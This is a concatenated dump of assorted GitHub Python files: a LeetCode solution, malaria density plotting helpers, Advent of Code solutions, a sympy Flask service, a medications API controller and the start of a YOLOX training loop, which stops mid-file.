.open_get_new_quote_wizard_using_get_quote_tool()\n .select_product_area('Term Protection')\n .verify_quote_portal_present('Assureweb')\n .close_get_new_quote_wizard()\n )","repo_name":"intelliflovrk/raj_test_io","sub_path":"userjourneys/test_io_client_quote.py","file_name":"test_io_client_quote.py","file_ext":"py","file_size_in_byte":9733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26282355070","text":"class Solution:\n def findUnsortedSubarray(self, nums: List[int]) -> int:\n end = -2\n start = -1\n min_val = nums[-1]\n max_val = nums[0]\n \n for i in range(1,len(nums)):\n max_val = max(max_val, nums[i])\n min_val = min(min_val, nums[len(nums) - 1 - i])\n if nums[i] < max_val:\n end = i\n if nums[len(nums) - 1 - i] > min_val:\n start = len(nums) - 1 - i\n return end - start + 1\n","repo_name":"jw3329/leetcode-problem-solving","sub_path":"Top 100 Liked Questions/581. Shortest Unsorted Continuous Subarray/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26828535445","text":"from plotnine import ggplot, aes, geom_bar, scale_fill_brewer, facet_grid, geom_line, geom_point, scale_x_continuous, \\\n geom_errorbar, theme_bw, xlab, ylab, scale_color_manual\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import beta\nfrom pandas.api.types import CategoricalDtype\n\n\ndef get_age_bin_averages(sim_df):\n \"\"\"\n Get average parasite densities in each age bin, weighting all ages in bin equally (e.g., not weighted by \n population size)\n Args:\n sim_df (): \n\n Returns: age_agg_sim_df\n\n \"\"\"\n # age_bins = sim_df['agebin'].unique()\n # remove rows where there are zero people of the measured age bin in the simulation\n sim_df = sim_df[sim_df['Pop'] > 0]\n # get average across all years in age bins and across simulation run seeds\n age_agg_sim_df = sim_df.group_by(['month', 'agebin', 'densitybin', 'Site']).agg(\n asexual_par_dens_freq=('asexual_par_dens_freq', np.mean),\n gametocyte_dens_freq=('gametocyte_dens_freq', np.mean),\n Pop=('Pop', np.mean)\n )\n return age_agg_sim_df\n\n\ndef plot_par_dens_ref_sim_comparison(age_agg_sim_df, ref_df):\n \"\"\"\n Plot parasite density comparisons with reference\n Stacked barplots of parasite density bins by age\n Args:\n age_agg_sim_df ():\n ref_df ():\n\n Returns:\n\n \"\"\"\n months_of_year = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']\n\n # subset simulation output to months in reference dataset\n months = sorted(ref_df['month'].unique())\n cur_df = age_agg_sim_df[age_agg_sim_df['month'].isin(months)]\n\n # if the maximum reference density bin is < (maximum simulation density bin / 1000),\n # aggregate all simulation densities >= max ref bin into the max ref bin\n # the final bin will be all densities equal to or above that value\n max_ref_dens = ref_df['densitybin'].dropna().max()\n max_cur_dens = cur_df['densitybin'].dropna().max()\n if max_ref_dens < (max_cur_dens / 1000):\n # get sum of frequencies within higher bins\n all_higher_dens = cur_df[cur_df['densitybin'] >= max_ref_dens]\n sim_agg_higher_dens = all_higher_dens.group_by(['month', 'agebin', 'Site']).agg(\n densitybin=('densitybin', np.min),\n asexual_par_dens_freq=('asexual_par_dens_freq', np.sum),\n gametocyte_dens_freq=('gametocyte_dens_freq', np.sum),\n Pop=('Pop', np.mean))\n # remove higher density bins from df\n cur_df_lower = cur_df[cur_df['densitybin'] < max_ref_dens]\n # add back in the aggregated frequencies across higher density bins\n cur_df = pd.merge(cur_df_lower, sim_agg_higher_dens, how=\"outer\")\n\n # add zeros for unobserved reference densities up to max_ref_dens\n all_zeros_df = cur_df[['month', 'agebin', 'densitybin', 'Site']]\n ref_df = pd.merge(ref_df, all_zeros_df, how=\"outer\")\n ref_df.fillna(0, inplace=True)\n\n # combine reference and simulation dataframes\n cur_df['source'] = 'simulation'\n ref_df['source'] = 'reference'\n combined_df0 = pd.concat([cur_df, ref_df], join='outer')\n\n # = = = = = = = = = #\n # stacked barplots\n # = = = = = = = = = #\n # change type to factors for barplot groupings\n combined_df = combined_df0\n convert_dict = {'densitybin': 'category',\n 'agebin': 'category'}\n combined_df = combined_df.astype(convert_dict)\n\n # colors\n # len_density_bin = len(combined_df['densitybin'].unique())\n # num_colors = len_density_bin + 1 if len_density_bin % 2 == 0 else len_density_bin\n # colors = brewer.pal(n=num_colors, name='BrBG')\n # names(colors) = sorted(combined_df['densitybin'].unique())\n # plot\n gg1 = (ggplot(combined_df, aes(x='agebin', y='asexual_par_dens_freq', fill='densitybin'))\n + geom_bar(position=\"stack\", stat=\"identity\")\n + scale_fill_brewer(palette=\"BrBG\")\n + facet_grid('month~source')\n # scale_fill_manual(values=colors, limits=names(colors)) +\n )\n\n # = = = = = = = = = #\n # grid of line plots\n # = = = = = = = = = #\n\n # calculate reference error bounds using Jerrerys interval\n ci_width = 0.95\n alpha = 1 - ci_width\n combined_df0['min_asex'] = np.nan\n combined_df0['max_asex'] = np.nan\n combined_df0['min_gamet'] = np.nan\n combined_df0['max_gamet'] = np.nan\n for rr in range(len(combined_df0.index)):\n if combined_df0['source'].iloc[rr] == 'reference':\n if ((combined_df0['count_asex'].iloc[rr] > 0)\n & (combined_df0['count_asex'].iloc[rr] < combined_df0['bin_total_asex'].iloc[rr])):\n combined_df0['min_asex'].ilo[rr] = beta.ppf(\n p=alpha / 2,\n a=combined_df0['count_asex'].iloc[rr] + 0.5,\n b=combined_df0['bin_total_asex'].iloc[rr] - combined_df0['count_asex'][rr] + 0.5)\n\n combined_df0['max_asex'].iloc[rr] = beta.ppf(\n p=1 - alpha / 2,\n a=combined_df0['count_asex'].iloc[rr] + 0.5,\n b=combined_df0['bin_total_asex'].iloc[rr] - combined_df0['count_asex'].iloc[rr] + 0.5)\n\n if ((combined_df0['count_gamet'].iloc[rr] > 0)\n & (combined_df0['count_gamet'].iloc[rr] < combined_df0['bin_total_gamet'].iloc[rr])):\n combined_df0['min_gamet'].iloc[rr] = beta.ppf(\n p=alpha / 2,\n a=combined_df0['count_gamet'].iloc[rr] + 0.5,\n b=combined_df0['bin_total_gamet'].iloc[rr] - combined_df0['count_gamet'].iloc[rr] + 0.5)\n\n combined_df0['max_gamet'].iloc[rr] = beta.ppf(\n p=1 - alpha / 2,\n a=combined_df0['count_gamet'].iloc[rr] + 0.5,\n b=combined_df0['bin_total_gamet'].iloc[rr] - combined_df0['count_gamet'].iloc[rr] + 0.5)\n\n # change facet values to intuitive labels\n combined_df0['month'] = months_of_year[combined_df0['month']]\n month_cat = CategoricalDtype(categories=months_of_year, ordered=True)\n combined_df0['month'] = combined_df0['month'].astype(month_cat)\n all_age_bins = sorted(combined_df0['agebin'].unique())\n age_bin_labels = ['<=' + all_age_bins[1] + \" years\"]\n for aa in range(len(all_age_bins) - 1):\n age_bin_labels.append(all_age_bins[aa] + '-' + all_age_bins[aa + 1] + ' years')\n\n combined_df0['agebin_index'] = combined_df0['agebin'].isin(all_age_bins)\n combined_df0['agebin'] = age_bin_labels[combined_df0['agebin'].isin(all_age_bins)]\n age_bin_labels_cat = CategoricalDtype(categories=age_bin_labels, ordered=True)\n combined_df0['agebin'] = combined_df0['agebin'].astype(age_bin_labels_cat)\n\n # plot asexual densities\n gg2 = (ggplot(combined_df0, aes(x=\"densitybin\", y='asexual_par_dens_freq', color='source'), alpha=0.8)\n + geom_line(size=2)\n + geom_point()\n + scale_x_continuous(trans='log10')\n + geom_errorbar(aes(ymin='min_asex', ymax='max_asex'), width=0.2)\n + theme_bw()\n + ylab('fraction of population')\n + xlab('asexual parasite density bin')\n + scale_color_manual(values={\"reference\": 'red',\n \"simulation\": 'blue'})\n + facet_grid('agebin~month')\n # scale_fill_brewer(palette = \"BrBG\") +\n # scale_fill_manual(values=colors, limits=names(colors)) +\n )\n\n # plot gametocyte densities\n gg3 = (ggplot(combined_df0, aes(x='densitybin', y='gametocyte_dens_freq', color='source'))\n + geom_line(size=2)\n + geom_point()\n + scale_x_continuous(trans='log10')\n + geom_errorbar(aes(ymin='min_gamet', ymax='max_gamet'), width=0.2)\n + theme_bw()\n + ylab('fraction of population')\n + xlab('gametocyte density bin')\n + scale_color_manual(values={\"reference\": 'red',\n \"simulation\": 'blue'})\n + facet_grid('agebin~month')\n )\n\n return gg1, gg2, gg3\n","repo_name":"InstituteforDiseaseModeling/malaria-model_validation","sub_path":"create_plots/archive_organization/_20220603/helper_functions_par_dens.py","file_name":"helper_functions_par_dens.py","file_ext":"py","file_size_in_byte":8056,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"23821492043","text":"# Advent of Code: Day 8\n__author__ = \"Matteo Golin\"\n\n# Imports\nimport math\n\n# Constants\nINPUT_FILE = \"./input.txt\"\nCoordinates = tuple[int, int]\n\n\n# Main\ndef main():\n\n # Unpack input\n with open(INPUT_FILE, 'r') as file:\n raw_data = file.read().split(\"\\n\")[:-1] # Ignore blank final line\n\n # 2D array representation\n forest = []\n for row in raw_data:\n forest.append([int(tree) for tree in row])\n\n # Part 1\n # How many trees are visible from outside the grid\n # Loop through forest excluding edges\n visible = 0\n outer_trees = len(forest[0]) * 2 + len(forest) * 2 - 4\n for y in range(1, len(forest) - 1):\n for x in range(1, len(forest[0]) - 1):\n\n tree = forest[y][x]\n row = forest[y]\n column = [forest[_][x] for _ in range(len(forest))]\n\n # Visible from left or right\n if max(row[:x]) < tree or max(row[x + 1:]) < tree:\n visible += 1\n\n # Visible from top or bottom\n elif max(column[:y]) < tree or max(column[y + 1:]) < tree:\n visible += 1\n\n print(f\"The number of trees visible from the outside of the grid is {visible + outer_trees}.\")\n\n # Part 2\n # What is the highest scenic score possible for any tree in the forest\n best_tree: tuple[Coordinates, int] = ((0, 0), 0)\n for y in range(1, len(forest) - 1):\n for x in range(1, len(forest[0]) - 1):\n\n scores = [0] * 4 # Record scores\n\n tree = forest[y][x]\n row = forest[y]\n column = [forest[_][x] for _ in range(len(forest))]\n\n directions = [\n column[y + 1:], # Look down\n list(reversed(row[:x])), # Look left\n list(reversed(column[:y])), # Look up\n row[x + 1:], # Look right\n ]\n\n for i in range(len(directions)):\n for other_tree in directions[i]:\n scores[i] += 1\n if other_tree >= tree:\n break\n\n score = math.prod(scores)\n if score > best_tree[1]:\n best_tree = ((x, y), score)\n\n print(f\"The highest possible scenic score is {best_tree[1]}.\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"linguini1/adventOfCode2022","sub_path":"day8/day8.py","file_name":"day8.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38384148589","text":"\n\nfrom collections import defaultdict\nfrom math import inf\nfrom typing import Union\n\nfrom aocpuzzle import AoCPuzzle\n\nposition_tuple = tuple[int, int]\n\n\nclass Puzzle12(AoCPuzzle):\n def common(self, input_data: list[str]) -> None:\n self.height_map: dict[position_tuple, int] = defaultdict()\n self.all_lowest_elevation_pos = set()\n\n self.directions = [(0, 1), (0, -1), (-1, 0), (1, 0)]\n\n for row, line in enumerate(input_data):\n for col, elevation in enumerate(line):\n pos = (row, col)\n\n if elevation == 'S':\n elevation = 'a'\n self.start_pos = pos\n if elevation == 'E':\n elevation = 'z'\n self.destination_pos = pos\n\n if elevation == 'a':\n self.all_lowest_elevation_pos.add(pos)\n\n self.height_map[pos] = abs(ord(elevation) - ord('a'))\n\n def pos_inside_grid(self, row: int, col: int) -> bool:\n return (row, col) in self.height_map\n\n def get_valid_neighbors(self, pos: position_tuple, visited_positions: set[position_tuple]) -> list[position_tuple]:\n valid_neighbors = []\n\n for dx, dy in self.directions:\n nx, ny = pos[0] + dx, pos[1] + dy\n neighbor_pos = (nx, ny)\n\n if self.pos_inside_grid(nx, ny) and neighbor_pos not in visited_positions:\n if self.height_map[neighbor_pos] <= self.height_map[pos] + 1:\n valid_neighbors.append(neighbor_pos)\n\n return valid_neighbors\n\n def shortest_path(self, start_pos: position_tuple) -> Union[int, float]:\n positions_to_visit: list[tuple[position_tuple, int]] = [(start_pos, 0)]\n\n visited_positions: set[position_tuple] = set([start_pos])\n\n total_steps = inf\n\n while len(positions_to_visit) > 0:\n current_pos, steps_to_pos = positions_to_visit.pop(0)\n\n if current_pos == self.destination_pos:\n total_steps = steps_to_pos\n break\n\n for neighbor in self.get_valid_neighbors(current_pos, visited_positions):\n positions_to_visit.append((neighbor, steps_to_pos + 1))\n visited_positions.add(neighbor)\n\n return total_steps\n\n def part1(self) -> int:\n return int(self.shortest_path(self.start_pos))\n\n def part2(self) -> int:\n return int(min([self.shortest_path(start_pos)for start_pos in self.all_lowest_elevation_pos]))\n\n def test_cases(self, input_data: list[str]) -> int:\n tests: list[dict] = [\n {\n 'input_data': [\n 'Sabqponm',\n 'abcryxxl',\n 'accszExk',\n 'acctuvwj',\n 'abdefghi',\n ],\n 'part1': 31,\n 'part2': 29,\n },\n ]\n for test in tests:\n self.common(test['input_data'])\n assert self.part1() == test['part1']\n self.common(test['input_data'])\n assert self.part2() == test['part2']\n\n self.common(input_data)\n assert self.part1() == 456\n self.common(input_data)\n assert self.part2() == 454\n\n return len(tests) + 1\n","repo_name":"cpallapolu/advent-of-code","sub_path":"src/years/2022/12/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73324365209","text":"#!/usr/bin/env python\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport argparse\nfrom mpl_toolkits import mplot3d\n\ndesc = \"\"\"\n plot klist\n\n\"\"\"\nparser = argparse.ArgumentParser( description = desc )\nparser.add_argument('f',type=str,help='klist file')\nparser.add_argument('-l',type=int,default=None,help='the former l line')\n\np = parser.parse_args()\nfn = open(p.f)\nkls = fn.readlines()\n\nkl = np.zeros([len(kls),5])\nfor n in range(len(kls)):\n #print kls[n].split()\n if kls[n][0:3]=='END' or kls[n].split()=='': break\n kl[n,:] = list(map(int, kls[n].split()[0:5]))\n\nkl = kl[0:n]\nfor n in range(n):\n kl[n,1:4] = kl[n,1:4]/kl[n,4]\n\nif p.l is not None: kl = kl[0:p.l]\n\nax = plt.axes(projection='3d')\nax.plot3D(kl[:,1],kl[:,2],kl[:,3],'-o')\n\nax.set_xlabel('x')\nax.set_ylabel('y')\nax.set_zlabel('z')\nplt.show()\n","repo_name":"jrhui/Visualization-tools-for-EDMFT","sub_path":"plot3_klist.py","file_name":"plot3_klist.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1039075039","text":"import pygame\nfrom pygame.sprite import Sprite\n\n\nclass Bird(Sprite):\n \"\"\"操控的小鸟\"\"\"\n\n def __init__(self, ai_game):\n \"\"\"初始化\"\"\"\n super().__init__()\n self.screen = ai_game.screen\n self.screen_rect = ai_game.screen.get_rect()\n # 加载小鸟图像资源并设置其位置\n self.bird_img = pygame.image.load(\"images/pl.bmp\")\n self.rect = self.bird_img.get_rect()\n self.rect.midleft = self.screen_rect.midleft\n self.rect.x = 200\n\n # 小鸟是否飞(空格)\n self.fly_up = False\n\n # 为了使游戏减慢速度,以小数心事存储位置信息\n self.y = float(self.rect.y)\n\n def update(self):\n if self.rect.bottom < self.screen_rect.bottom:\n self.y += 0.4\n if self.fly_up:\n self.y -= 0.8\n\n self.rect.y = self.y\n\n def blitme(self):\n \"\"\"绘制小鸟\"\"\"\n self.screen.blit(self.bird_img, self.rect)","repo_name":"zhangxun-SCU/MachineAndDeepLearning","sub_path":"RL/FlappyBird/Bird.py","file_name":"Bird.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"75003654168","text":"from flask import Flask\nfrom flask import request\nimport symengine as sm\nfrom sympy import *\nimport time\n\nfrom src.main.python.parse.Parse import Parse\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return \"Hello, World!\"\n\n\n@app.route('/d', methods=['GET', 'POST'])\ndef d():\n v = Symbol(request.form.get(\"variable\"))\n f = Function(\"f\")(v)\n s = sympify(str(request.form.get(\"input\")).lower())\n print(s)\n dstr = diff(f, v).subs(f, s).doit()\n print(dstr)\n return dstr\n\n\n@app.route('/expand', methods=['GET', 'POST'])\ndef expand():\n istr = request.form.get(\"input\")\n estr = str(sm.expand(istr))\n rstr = estr.replace(\"**\", \"^\").replace(\" \", \"\")\n # time.sleep(10)\n return rstr\n\n\n@app.route('/expand-list', methods=['GET', 'POST'])\ndef expandList():\n istr = request.form.get(\"input\")\n estr = str(sm.expand(istr))\n rstr = estr.replace(\"**\", \"^\").replace(\" \", \"\")\n parse = Parse()\n return parse.getTermsFromString(rstr)\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"ereborDeveloper/math-modeling","sub_path":"src/main/python/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"72900259607","text":"# %%\nimport matplotlib.pyplot as plt\n\nfrom utils import get_maze, get_environment\n\nfrom solvers import maze_solver, softq_solver, u_solver, z_solver\n\nfrom visualization import plot_dist\n# %%\n\ndesc = get_maze()\nenv = get_environment(desc, stay_at_goal_prob=1)\n\nsolution = maze_solver(env)\nsoftq_sol = softq_solver(env, tolerance=1e-15)\n\n# %%\nz_sol = z_solver(env, steps=1000, tolerance=1e-15)\nu_sol = u_solver(env, steps=1000, tolerance=0.0001)\n\nx = z_sol.get('V')\ny = u_sol.get('V')\n\nplt.scatter(x, y)\nplt.show()\n\n# %%\nplot_dist(desc, solution.get('policy'), softq_sol.get('policy'), z_sol.get('policy'), u_sol.get('policy'))\n\n# %%\n","repo_name":"argearriojas/maxent-rl-mdp-scripts","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"31090630539","text":"def check_non_terminal(nodes_file, node):\n \"\"\"\n @gk\n Function takes as input the file's name and the node's name.\n It pinpoints the line of the node. Then searches for the string\n terminal. It returns True if there is no terminal string after\n the name of the node.\n :param nodes_file:\n :param node:\n :return:\n \"\"\"\n\n data = []\n with open(nodes_file) as f:\n for num, line in enumerate(f):\n if node in line:\n data = line.split()\n if node == data[0]:\n if \"terminal\" in line:\n return False\n\n return True\n","repo_name":"PyPUT/PyPUT","sub_path":"Validation Functions/check_non_terminal.py","file_name":"check_non_terminal.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"23975435362","text":"from sqlalchemy import Column, Integer, ForeignKey, String, UniqueConstraint\nfrom sqlalchemy.orm import declarative_base, relationship\n\nBase = declarative_base()\n\n\nclass City(Base):\n __tablename__ = \"city\"\n\n id = Column(Integer, primary_key=True, index=True)\n name = Column(String, index=True, unique=True)\n edges = relationship(\"Edge\", back_populates=\"city\")\n\n\nclass Edge(Base):\n __tablename__ = \"edge\"\n\n id = Column(Integer, primary_key=True, index=True)\n from_city_id = Column(Integer, ForeignKey(\"city.id\"))\n to_city_id = Column(Integer, ForeignKey(\"city.id\"))\n distance = Column(Integer)\n city = relationship(\"City\", back_populates=\"edges\")\n\n __table_args__ = (\n UniqueConstraint('from_city_id', 'to_city_id', name='_from_to_uc'),\n )\n","repo_name":"Maze21127/test_dns","sub_path":"app/database/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38580265724","text":"from typing import Dict, List, Optional\n\nfrom flask_batteries_included.config import is_production_environment\nfrom flask_batteries_included.helpers.error_handler import DuplicateResourceException\nfrom flask_batteries_included.sqldb import db, generate_uuid\nfrom she_logging import logger\n\nfrom dhos_medications_api.models.medication import Medication\n\n\ndef create_medication(medication_details: Dict) -> Dict:\n logger.debug(\"Creating medication\", extra={\"medication_data\": medication_details})\n if _medication_name_exists(name=medication_details[\"name\"]):\n raise DuplicateResourceException(\n f\"Medication '{medication_details['name']}' already exists\"\n )\n medication = Medication()\n medication.name = medication_details[\"name\"]\n medication.unit = medication_details[\"unit\"]\n medication.sct_code = medication_details[\"sct_code\"]\n medication.tags = medication_details.get(\"tags\", [])\n if medication_details.get(\"uuid\", None) and not is_production_environment():\n medication.uuid = medication_details[\"uuid\"]\n else:\n medication.uuid = generate_uuid()\n db.session.add(medication)\n db.session.commit()\n return medication.to_dict()\n\n\ndef get_all_medications(tag: Optional[str] = None) -> List[Dict]:\n logger.debug(\"Getting all medications\")\n medications: List[Medication] = Medication.query.order_by(\n Medication.name, Medication.created\n ).all()\n if tag:\n logger.debug(\"Filtering medications by tag %s\", tag)\n return [m.to_dict() for m in medications if tag in m.tags]\n else:\n return [m.to_dict() for m in medications]\n\n\ndef get_medication(medication_uuid: str) -> Dict:\n medication: Medication = Medication.query.filter_by(\n uuid=medication_uuid\n ).first_or_404()\n return medication.to_dict()\n\n\ndef delete_medication(medication_uuid: str) -> Dict:\n medication: Medication = Medication.query.filter_by(\n uuid=medication_uuid\n ).first_or_404()\n medication.delete()\n db.session.commit()\n return medication.to_dict()\n\n\ndef update_medication(medication_uuid: str, medication_details: Dict) -> Dict:\n medication = Medication.query.filter_by(uuid=medication_uuid).first_or_404()\n logger.debug(\n \"Patching medication with UUID %s\",\n medication_uuid,\n extra={\"medication_data\": medication_details},\n )\n if len(medication_details) == 0:\n raise ValueError(\"No details to update\")\n\n if \"name\" in medication_details:\n if medication_details[\"name\"] != medication.name and _medication_name_exists(\n name=medication_details[\"name\"]\n ):\n raise DuplicateResourceException(\n \"Cannot change 'name' to match existing medication\"\n )\n medication.name = medication_details[\"name\"]\n\n if \"unit\" in medication_details:\n medication.unit = medication_details[\"unit\"]\n\n if \"sct_code\" in medication_details:\n medication.sct_code = medication_details[\"sct_code\"]\n\n if \"tags\" in medication_details:\n medication.tags = medication_details[\"tags\"]\n\n db.session.commit()\n return medication.to_dict()\n\n\ndef _medication_name_exists(name: str) -> bool:\n is_existing = Medication.query.filter(Medication.name.ilike(name)).first()\n return is_existing is not None\n","repo_name":"sensynehealth/polaris-medications-api","sub_path":"dhos_medications_api/blueprint_api/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":3328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70807512408","text":"from loguru import logger\n\nimport torch\n\nfrom torch.nn.parallel import DistributedDataParallel as DDP\nfrom torch.utils.tensorboard import SummaryWriter\n\nfrom yolox.data import DataPrefetcher\nfrom yolox.utils import (\n MeterBuffer,\n ModelEMA,\n all_reduce_norm,\n get_model_info,\n get_rank,\n get_world_size,\n gpu_mem_usage,\n load_ckpt,\n occupy_mem,\n save_checkpoint,\n setup_logger,\n synchronize\n)\n\nimport datetime\nimport os\nimport time\n\n\nclass Trainer:\n def __init__(self, exp, args):\n # init function only defines some basic attr, other attrs like model, optimizer are built in\n # before_train methods.\n self.exp = exp\n self.args = args\n\n # training related attr\n self.max_epoch = exp.max_epoch\n self.amp_training = args.fp16\n self.scaler = torch.cuda.amp.GradScaler(enabled=args.fp16)\n self.is_distributed = get_world_size() > 1\n self.rank = get_rank()\n self.local_rank = args.local_rank\n self.device = \"cuda:{}\".format(self.local_rank)\n self.use_model_ema = exp.ema # True\n\n # data/dataloader related attr\n self.data_type = torch.float16 if args.fp16 else torch.float32 # torch.float16\n self.input_size = exp.input_size\n self.best_ap = 0\n\n # metric record\n self.meter = MeterBuffer(window_size=exp.print_interval)\n self.file_name = os.path.join(exp.output_dir, args.experiment_name)\n\n if self.rank == 0:\n os.makedirs(self.file_name, exist_ok=True)\n\n setup_logger(\n self.file_name,\n distributed_rank=self.rank,\n filename=\"train_log.txt\",\n mode=\"a\",\n )\n\n # TODO: for reid\n self.settings = {}\n self.start_epoch = 0 # set default value\n self.loss_settings = {} # settings for loss, i.g. uncertainty parameter\n\n def train(self):\n self.before_train()\n try:\n self.train_in_epoch()\n except Exception:\n raise\n finally:\n self.after_train()\n\n def train_in_epoch(self):\n for self.epoch in range(self.start_epoch, self.max_epoch):\n self.before_epoch()\n self.train_in_iter()\n self.after_epoch()\n\n def train_in_iter(self):\n for self.iter in range(self.max_iter):\n self.before_iter()\n self.train_one_iter()\n self.after_iter()\n\n def train_one_iter(self):\n iter_start_time = time.time()\n\n inps, targets = self.prefetcher.next() # imgs and targets\n inps = inps.to(self.data_type)\n targets = targets.to(self.data_type)\n targets.requires_grad = False\n data_end_time = time.time()\n\n with torch.cuda.amp.autocast(enabled=self.amp_training):\n outputs = self.model(inps, targets) # output = model(input)\n loss = outputs[\"total_loss\"]\n\n if 'settings' in outputs.keys(): # TODO 0114: loss parameters\n self.loss_settings.update(outputs.pop('settings')) # get value and delete\n\n self.optimizer.zero_grad() # optimizer.zero_grad\n self.scaler.scale(loss).backward() # loss.backward\n self.scaler.step(self.optimizer) # optimizer.step\n self.scaler.update()\n\n if self.use_model_ema: # ema\n self.ema_model.update(self.model)\n\n lr = self.lr_scheduler.update_lr(self.progress_in_iter + 1) # lr scheduler\n for param_group in self.optimizer.param_groups:\n param_group[\"lr\"] = lr\n\n iter_end_time = time.time()\n self.meter.update(\n iter_time=iter_end_time - iter_start_time,\n data_time=data_end_time - iter_start_time,\n lr=lr,\n **outputs,\n )\n\n\n def before_train(self):\n logger.info(\"args: {}\".format(self.args))\n logger.info(\"exp value:\\n{}\".format(self.exp))\n\n # ================================ fake dataset with default self.start_epoch ================================\n # the only difference between fake and real dataset is 'self.no_aug', which is determined by 'self.start_epoch'\n self.no_aug = self.start_epoch >= self.max_epoch - self.exp.no_aug_epochs # close aug for the last few epochs\n\n try: # mot dataset with ids\n self.train_loader, settings = self.exp.get_data_loader( # dataloader\n batch_size=self.args.batch_size,\n is_distributed=self.is_distributed,\n no_aug=self.no_aug,\n )\n self.settings.update(settings)\n except: # only detection dataset\n self.train_loader = self.exp.get_data_loader( # dataloader\n batch_size=self.args.batch_size,\n is_distributed=self.is_distributed,\n no_aug=self.no_aug,\n )\n # ================================ fake dataset with default self.start_epoch ================================\n\n # model related init\n torch.cuda.set_device(self.local_rank)\n model = self.exp.get_model(settings=self.settings)\n logger.info(\n \"Model Summary: {}\".format(get_model_info(model, self.exp.test_size))\n )\n model.to(self.device)\n\n # solver related init\n self.optimizer = self.exp.get_optimizer(self.args.batch_size) # optimizer\n # self.optimizer.add_param_group({\"params\": model.head.s_det}) # TODO: Uncertainty loss (0114)\n # self.optimizer.add_param_group({\"params\": model.head.s_id}) # TODO: Uncertainty loss (0114)\n\n # value of epoch will be set in `resume_train`\n model = self.resume_train(model) # model\n\n # data related init\n if self.start_epoch != 0: # with resume, generate real dataset\n self.no_aug = self.start_epoch >= self.max_epoch - self.exp.no_aug_epochs # close aug for the last few epochs\n\n try: # mot dataset with ids\n self.train_loader, settings = self.exp.get_data_loader( # dataloader\n batch_size=self.args.batch_size,\n is_distributed=self.is_distributed,\n no_aug=self.no_aug,\n )\n self.settings.update(settings)\n except: # only detection dataset\n self.train_loader = self.exp.get_data_loader( # dataloader\n batch_size=self.args.batch_size,\n is_distributed=self.is_distributed,\n no_aug=self.no_aug,\n )\n else: # no resume, fake dataset and real dataset are the same\n pass\n\n logger.info(\"init prefetcher, this might take one minute or less...\")\n self.prefetcher = DataPrefetcher(self.train_loader)\n # max_iter means iters per epoch\n self.max_iter = len(self.train_loader)\n\n self.lr_scheduler = self.exp.get_lr_scheduler(\n self.exp.basic_lr_per_img * self.args.batch_size, self.max_iter\n )\n if self.args.occupy:\n occupy_mem(self.local_rank)\n\n if self.is_distributed:\n model = DDP(model, device_ids=[self.local_rank], broadcast_buffers=False)\n\n if self.use_model_ema:\n self.ema_model = ModelEMA(model, 0.9998)\n self.ema_model.updates = self.max_iter * self.start_epoch\n\n self.model = model\n self.model.train()\n\n self.evaluator = self.exp.get_evaluator( # COCOevaluator\n batch_size=self.args.batch_size, is_distributed=self.is_distributed\n )\n # Tensorboard logger\n if self.rank == 0:\n self.tblogger = SummaryWriter(self.file_name)\n\n logger.info(\"Training start...\")\n # logger.info(\"\\n{}\".format(model))\n\n def after_train(self):\n logger.info(\n \"Training of experiment is done and the best AP is {:.2f}\".format(\n self.best_ap * 100\n )\n )\n\n def before_epoch(self):\n logger.info(\"---> start train epoch{}\".format(self.epoch + 1))\n\n if self.epoch + 1 == self.max_epoch - self.exp.no_aug_epochs or self.no_aug: # check epoch to close aug\n \n logger.info(\"--->No mosaic aug now!\")\n self.train_loader.close_mosaic()\n logger.info(\"--->Add additional L1 loss now!\")\n if self.is_distributed:\n self.model.module.head.use_l1 = True\n else:\n self.model.head.use_l1 = True\n \n self.exp.eval_interval = 1\n if not self.no_aug:\n self.save_ckpt(ckpt_name=\"last_mosaic_epoch\")\n\n def after_epoch(self):\n if self.use_model_ema: # ema\n self.ema_model.update_attr(self.model)\n\n self.save_ckpt(ckpt_name=\"latest\") # save checkpoints\n\n if (self.epoch + 1) % self.exp.eval_interval == 0: # save checkpoints\n all_reduce_norm(self.model)\n self.evaluate_and_save_model()\n\n def before_iter(self):\n pass\n\n def after_iter(self):\n \"\"\"\n `after_iter` contains two parts of logic:\n * log information\n * reset setting of resize\n \"\"\"\n # log needed information\n if (self.iter + 1) % self.exp.print_interval == 0:\n # TODO check ETA logic\n left_iters = self.max_iter * self.max_epoch - (self.progress_in_iter + 1)\n eta_seconds = self.meter[\"iter_time\"].global_avg * left_iters\n eta_str = \"ETA: 